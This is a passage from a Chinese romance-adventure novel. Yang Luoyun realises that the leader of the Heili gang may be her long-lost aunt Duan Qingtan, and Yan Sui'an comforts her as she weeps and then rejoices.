“黑骊帮是滇南近期出现的组织，领头人是一个女子。她对滇南很熟悉，甚至对云岭、对古道贸易往来都了如指掌……” 杨洛云不敢再往下听，其实她心中一直有怀疑对象，只是始终不愿意去相信。 晏邃安给出的描述，已经足够让她确定那个可怕的想法，也不得不直面最残忍的真相。 “姑姑，真的是你吗？”杨洛云心里念着，口中不自觉就说了出来。 晏邃安听清杨洛云的呓语，也有些微怔。他调查过段清昙，作为杨洛云的商道引路人，又见证着杨洛云长大，这么多年的情分属实珍贵。 “现在还不能确定就是你姑姑。”晏邃安打断杨洛云，他不想看她陷入死循环。 “可是能够做到这些的，只有可能是姑姑……”杨洛云对此毫不怀疑。 清楚知晓古道的情况，在这么短的时间组织起能够与木铎抗衡的黑骊帮，除了段清昙，云岭找不出第二个人。 “姑姑还活着，可她为什么不联系我？为什么不去寻云岭十八骑的兄弟？”杨洛云控制不住地哽咽，她把自己蜷缩起来，双手环抱住肩头，似乎只有这样才能得到安慰。 看着杨洛云的动作，晏邃安心中涌起一种说不出的滋味，酸酸涩涩，还有些苦。 他伸出手虚虚搭在杨洛云的背上，随着她呼吸的起伏，一点一点拍着。 察觉到来自晏邃安的安慰，杨洛云不知怎的，突然很想表现自己最真实的情绪，不想再故作坚强沉稳。 她松开自己，抓着晏邃安的手，把脸埋在他宽大的衣袖里，痛痛快快发泄情绪。 晏邃安浑身僵住，他一动不敢动，任凭杨洛云摆弄自己的衣袖。 不知过了多久，杨洛云渐渐平复下来，她松开晏邃安，看着被自己弄得一塌糊涂的袖口，有些脸红。 “无妨。”晏邃安轻轻出声，他很怕自己哪句话又触及杨洛云的伤心事。 和想象中不一样，少女仰起脸，冲他露出了巨大的笑容。 “我姑姑还活着！她还活着！”得知自己的亲人尚在人世，发自内心的庆幸和喜悦竟然让晏邃安听得湿了眼眶。 “你想去见见她吗？” “眼下玉京城的形势复杂，不是去见她的最佳时段。”杨洛云很清醒。 她还有些许期待，段清昙没有联系她，或许是有自己的苦衷……